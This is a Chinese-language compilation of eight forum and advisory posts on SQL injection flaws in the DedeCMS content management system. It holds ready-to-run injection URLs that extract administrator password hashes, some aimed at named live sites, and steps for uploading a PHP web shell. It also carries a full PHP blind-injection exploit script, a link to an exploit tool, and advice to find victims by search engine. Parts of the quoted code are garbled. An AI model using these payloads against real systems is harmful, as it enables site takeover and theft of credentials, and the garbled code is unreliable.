dedecms注射漏洞脚本安全
【简介】感谢网友“失眠”参与投稿,下面是小编为大家推荐的dedecms注射漏洞脚本安全(共8篇),欢迎大家分享。
篇1:dedecms注射漏洞脚本安全
注释:先注册..输入地址后,要等一会刷新就可以看到密码了
作者不知道是谁
问题出现在buy_action.php
没有对pid传递进行足够的重视
导致出现SQL注射问题!
注册地址
/member/index_do.php?fmdo=user&dopost=regnew
爆管理员密码
/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*
用很大。 如果你找不到可以利用的 那就是自己RP问题
反正 我们是找到很多了,而且是流量比较大的站,很不错的站。
更正一下:
LZ发的代码因为这个.NET版本的论坛有问题所以没显示全 全部代码是:
暴管理员密码:
CODE:
/member/buy_action.php?product=member&pid=1%20and%201=11%20union
%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*
首先在
GOOGLE搜Power by DedeCms
先注册一个号,注册成功后
直接输入下面的
include/dialoguser/select_soft.php或者
include/dialoguser/select_media.php
然后上传一个PHP马,
先要改下后缀,改可以上传的就可以了,然后再改名的地址输入 木马名字.PHP
上传成功
直接访问
所在目录的路径/木马名字.php
一个SHELL就拿到了,
篇2:DedeCms V57 plus/search.php 文件SQL注射0day漏洞脚本安全
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
算了不公开了,不能糟蹋0day了.
传送门 DedeCmS V57 plus/search.php 文件SQL注射0day漏洞
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
require_once(dirname(__FILE__).”/../include/common.inc.php”);
require_once(DEDEINC.”/arc.searchview.class.php”);
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
0id = (isset(0id) && is_numeric(0id)) ? 0id : 0;
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
if(!isset($orderby)) $orderby=”;
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
if(!isset($keyword)){
if(!isset($q)) $q = ”;
$keyword=$q;
}
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
//查找栏目信息
if(empty(0id))
{
0nameCacheFile = DEDEDATA.’/cache/typename.inc’;
if(!file_exists(0nameCacheFile) || filemtime(0nameCacheFile) < time-(3600*24) )
{
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
fwrite($fp, “<”.”?phprn”);
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
$dsql->Execute();
while($row = $dsql->GetArray())
{
fwrite($fp, “Arr[{$row['id']}] = ‘{$row['typename']}’;rn”);
}
fwrite($fp, ‘?’.'>’);
fclose($fp);
}
//引入栏目缓存并看关键字是否有相关栏目内容
require_once(0nameCacheFile);
//0Arr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
//
if(isset(0Arr) && is_array(0Arr))
{
foreach(0Arr as $id=>0name)
{
$keywordn = str_replace(0name, ‘ ‘, $keyword); //这个地方要绕过
if($keyword != $keywordn)
{
$keyword = $keywordn;
0id = $id; // 这里存在变量覆盖漏洞使 0id = (isset(0id) && is_numeric(0id)) ? 0id : 0; 这句过滤成了摆设
break;
}
}
}
}
然后plus/search.php文件下面定义了一个 Search类的对象 .
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
$this->TypeLink = new TypeLink(0id);
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
class TypeLink
{
var 0Dir;
var $dsql;
var $TypeID;
var $baseDir;
var $modDir;
var $indexUrl;
var $indexName;
var $TypeInfos;
var $SplitSymbol;
var $valuePosition;
var $valuePositionName;
var $OptionArrayList;
//构造函数///////
//php5构造函数
function __construct(0id)
{
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
$this->indexName = $GLOBALS['cfg_indexname'];
$this->baseDir = $GLOBALS['cfg_basedir'];
$this->modDir = $GLOBALS['cfg_templets_dir'];
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
$this->dsql = $GLOBALS['dsql'];
$this->TypeID = 0id;
$this->valuePosition = ”;
$this->valuePositionName = ”;
$this->typeDir = ”;
$this->OptionArrayList = ”;
//载入类目信息
$query = “SELECT tp.*,ch.typename as
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
`#@__channeltype` ch
on ch.id=tp.channeltype WHERE tp.id=’0id’ “; //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
if(0id > 0)
{
$this->TypeInfos = $this->dsql->GetOne($query);
利用代码一 需要 即使magic_quotes_gpc = Off
本帖隐藏的内容
www.myhack58.com/plus/search.php?typeArr[2%27%20and%20@%60%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
这只是其中一个利用代码… Search 类的构造函数再往下
……省略
$this->TypeID = 0id;
……省略
if($this->TypeID==”0″){
$this->ChannelTypeid=1;
}else{
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
//现在不鸡肋了吧亲…
$this->ChannelTypeid=$row['channeltype'];
}
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
篇3:dedecms(plus/feedbackjs.php)注射漏洞漏洞预警
发现者:Rainy'Fox&St0p
Team:二胖子网安(bbs.erpangzi.com)
影响版本:
dedecms GBK 5.1
漏洞描述:
文件:plus/feedback_js.php
if(empty($arcID))
{
$row = $dlist->dsql->GetOne(“Select id From `#@__cache_feedbackurl` where url='$arcurl' ”);
if(is_array($row)) $urlindex = $row['id'];
}
获得变量arcurl,直接放入数据库查询.导致注入产生,介于对于php环境如果设置了magic_quote_gpc=on的问题.可以结合php多字节编码漏洞构造.
利用:
localhost/plus/feedback_js.php?arcurl=%cf' union select “' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 as msg from dede_admin where 1=1 union select * from dede_feedback d where 1=2 and ''='” from dede_admin where ''='
经过测试,得出结论,magic_quotes_gpc = On的时候目前语句还不行,编码尚未突破
演示:
www.yxwo.cn/plus/feedback_js.php?arcurl=%cf'%20union%20select%20“'%20and%201=2%20union%20select%201,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1%20as%20msg%20from%20yxwodede_admin%20where%201=1%20union%20select%20*%20from%20yxwodede_feedback%20d%20where%201=2%20%20and%20''='”%20from%20yxwodede_admin%20where%20''='
篇4:DedeCms V5 orderby参数注射漏洞
影响版本: DedeCms V5漏洞描述: DedeCms由到现在,已经经历了五个版本,从DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软
影响版本:
DedeCms V5漏洞描述:
DedeCms由20到现在,已经经历了五个版本,从DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软件,在DedeCms V3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而DedeCms (DedeCms V5)应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站,
在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询,造成多个注射漏洞。漏洞部分代码如下
-------------------------------------------------------
if(empty($orderby)) $orderby = 'pubdate';
//重载列表
if($dopost=='getlist'){
PrintAjaxHead;
GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数
$dsql->Close();
exit();
……
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
global $cfg_phpurl,$cfg_ml;
$jobs = array();
$start = ($pageno-1) * $pagesize;
$dsql->SetQuery(“Select * From sec_jobs where memberID='”.$cfg_ml->M_ID.“' order by $orderby desc limit $start,$pagesize ”);
$dsql->Execute();//orderby 带入数据库查询
……
----------------------------------------------------------
<*参考
www.80sec.com/dedecms-sql-injection.html
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
print_r('
--------------------------------------------------------------------------------
DedeCms >=5 “orderby” blind SQL injection/admin credentials disclosure exploit
BY Flyh4t
www.wolvez.org
Thx for all the members of W.S.T and my friend Oldjun
--------------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].’ host path
host: target server (ip/hostname)
path: path to DEDEcms
Example:
php ‘.$argv[0].’ localhost /
——————————————————————————–
‘);
die;
}
function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),’80′);
if (!$ock) {
echo ‘No response from ‘.$host; die;
}
fputs($ock,$packet);
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$prefix=”dede_”;
$cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;
if (($path[0]’/') or ($path[strlen($path)-1]’/'))
{echo ‘Error… check the path!’; die;}
/*get $prefix*/
$packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0rn”;
$packet.=”Host: “.$host.”rn”;
$packet.=”Cookie: “.$cookie.”rn”;
$packet.=”Connection: Closernrn”;
sendpacketii($packet);
if (eregi(”in your SQL syntax”,$html))
{
$temp=explode(”From “,$html);
$temp2=explode(”member”,$temp[1]);
if($temp2[0])
$prefix=$temp2[0];
echo “[+]prefix -> “.$prefix.”n”;
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
echo “[~]exploting now,plz waitingrn”;
/*get password*/
$j=1;$password=”“;
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0rn”;
$packet.=”Host: “.$host.”rn”;
$packet.=”Cookie: “.$cookie.”rn”;
$packet.=”Connection: Closernrn”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”rn”;break;}
}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}
/*get userid*/
$j=1;$admin=””;
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0rn”;
$packet.=”Host: “.$host.”rn”;
$packet.=”Cookie: “.$cookie.”rn”;
$packet.=”Connection: Closernrn”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”rn”;break;}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}
print_r(’
——————————————————————————–
[+]userid -> ‘.$admin.’
[+]pwd(md5 24位) -> ‘.$password.’
——————————————————————————–
‘);
function is_hash($hash)
{
if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo “Exploit succeeded…”;}
else {echo “Exploit failed…”;}
?>爱安全建议:
暂无
www.dedecms.com// aianquan.com [-08-13]
(本文由责任编辑 pasu 整理发布)
篇5:DedeCMS SQL注射漏洞利用工具
DedeCMS SQL Injection Exploit
1.小工具适用于最新dedecms SQL注射漏洞
2.有狗或其他安全工具下或许会没有效果
3.dedecms系统的管理员密码MD5为20位 去掉前三和后一 为16位MD5
4.少数杀软报毒,属正常,若他处下载,请避免捆马现象!!
5.测试使用,勿作非法用途~~
傻瓜式操作,是人都会用~~
下载地址: pan.baidu.com/s/1c0Fy2vY
篇6:DedeCMS会员中心短消息SQL注射0day漏洞
需要:magic_quotes_gpc = Off
DedeCMS会员中心短消息SQL注射漏洞,成功利用此漏洞可获得管理员密码等
看到微博上有人提了下,偶也发鸡肋了.
/de/member/pm.php?dopost=read&id=1%27%20and%20@%60%27%60%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27
篇7:dedecms 5.7 edit.inc.php文件注射漏洞预警
漏洞文件edit.inc.php具体代码:
if(!defined('DEDEINC')) exit('Request Error!');
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
else $GUEST_BOOK_POS = “guestbook.php”;
$id = intval($id);
if(empty($job)) $job='view';
if($job=='del' && $g_isadmin)
{
$dsql->ExecuteNoneQuery(“ DELETE FROM `#@__guestbook` WHERE id='$id' ”);
ShowMsg(“成功删除一条留言!”, $GUEST_BOOK_POS);
exit;
}
else if($job=='check' && $g_isadmin)
{
$dsql->ExecuteNoneQuery(“ UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ”);
ShowMsg(“成功审核一条留言!”, $GUEST_BOOK_POS);
exit();
}
else if($job=='editok')
{
$remsg = trim($remsg);
if($remsg!='')
{
//管理员回复不过滤HTML
if($g_isadmin)
{
$msg = “”.$msg.“n”.$remsg;
//$remsg
管理员回复:
}
else
{
$row = $dsql->GetOne(“SELECT msg From `#@__guestbook` WHERE id='$id' ”);
$oldmsg = “”.addslashes($row['msg']).“n”;
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
$msg = $oldmsg.$remsg;
}
}
//这里没有对$msg过滤,导致可以任意注入了
$dsql->ExecuteNoneQuery(“UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='”.time().“' WHERE id='$id' ”);
ShowMsg(“成功更改或回复一条留言!”, $GUEST_BOOK_POS);
exit();
}
if($g_isadmin)
{
$row = $dsql->GetOne(“SELECT * FROM `#@__guestbook` WHERE id='$id'”);
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
}
else
{
$row = $dsql->GetOne(“SELECT id,title FROM `#@__guestbook` WHERE id='$id'”);
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
}
漏洞成功需要条件:
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在,
dedecms 5.7 edit.inc.php文件注射漏洞预警
,
怎么判断是否存在漏洞:
先打开www.xxx.com /plus/guestbook.php 可以看到别人的留言,
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问:www.xxx.com/plus/guestbook.php?action=admin&job=editok&msg=90sec'&id=存在的留言ID
提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 90sec' 如果变成了 那么证明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问 www.xxx.com/plus/guestbook.php?action=admin&job=editok&id=存在的留言ID&msg=',msg=user(),email='
然后返回,那条留言ID的内容就直接修改成了mysql 的user().
大概利用就是这样,大家有兴趣的多研究下!!
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
篇8:DedeCMS会员中心书签管理SQL注射漏洞漏洞预警
严重鄙视乱改内容转载的网站.
DedeCMS会员中心SQL注射漏洞
需要magic_quotes_gpc = Off
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.
DedeCMS会员中心书签管理SQL注射漏洞
成功利用该漏洞可获得管理员密码
会员登录后可以执行SQL语句查询数据库任意内容如管理员密码
bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r